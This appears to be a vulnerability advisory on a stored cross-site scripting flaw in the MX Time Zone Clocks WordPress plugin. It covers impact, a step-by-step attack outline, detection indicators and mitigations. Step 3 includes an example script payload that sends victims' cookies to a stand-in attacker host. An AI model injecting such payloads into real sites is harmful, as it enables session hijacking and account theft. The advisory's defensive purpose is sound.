CVE-2025-62146: 
WordPress vulnerability analysis and mitigation

CVE-2025-62146 is a Stored Cross-Site Scripting (XSS) vulnerability in the MX Time Zone Clocks WordPress plugin developed by Maksym Marko. The flaw affects all versions of the plugin through 5.1.1 and was disclosed on December 31, 2025, with the CVE assigned by Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium), assigned by Patchstack (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with low privileges can inject malicious scripts into plugin-controlled fields that are subsequently stored and rendered in other users' browsers without proper sanitization or output encoding. The attack vector is network-based, requires low privileges, and necessitates user interaction (a victim visiting the affected page) with a changed scope, indicating the injected script executes in the context of the victim's browser session rather than the attacker's (Patchstack, Red Hat CVE).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the browsers of other users, including administrators, who view the affected page. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of victims, and defacement of site content. The changed scope in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress application and its users, with low confidentiality, integrity, and availability impacts (Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-62146. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the target WordPress site (Feedly).

1. Reconnaissance: Identify WordPress sites running the MX Time Zone Clocks plugin version 5.1.1 or earlier using tools like WPScan or by inspecting plugin directories.
2. Authentication: Obtain a low-privileged account on the target WordPress site (e.g., subscriber or contributor role).
3. Inject payload: Navigate to the plugin's configuration or input fields and insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable parameter.
4. Payload storage: Submit the form, causing the malicious script to be stored in the WordPress database via the plugin's unsanitized input handling.
5. Trigger execution: Wait for a privileged user (e.g., administrator) to visit the page rendering the stored payload, causing the script to execute in their browser.
6. Achieve objective: Harvest session cookies, perform actions as the victim user, or escalate privileges within the WordPress site (Patchstack).

• Logs: WordPress access logs showing POST requests to plugin settings or widget configuration pages from low-privileged user accounts; unexpected JavaScript-like strings in database entries associated with the MX Time Zone Clocks plugin.
• File System: Unexpected modifications to plugin-related database records containing <script> tags or encoded JavaScript payloads.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading pages containing the MX Time Zone Clocks widget, potentially carrying cookie or session data in query parameters.
• Application: Unusual admin-level actions (e.g., new admin account creation, plugin installations) occurring without corresponding admin login activity, potentially indicating session hijacking via XSS.

WordPress site administrators should update the MX Time Zone Clocks plugin to a version beyond 5.1.1 if a patched release is available from the plugin author. If no patched version is available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Access to plugin configuration pages should be restricted to trusted, high-privileged users only. Web application firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense (Patchstack).

The vulnerability received standard automated coverage from vulnerability aggregators and security feeds upon disclosure. No notable researcher commentary, vendor statements beyond the Patchstack advisory, or significant media coverage has been identified for this CVE, consistent with its medium severity rating and limited scope as a WordPress plugin vulnerability.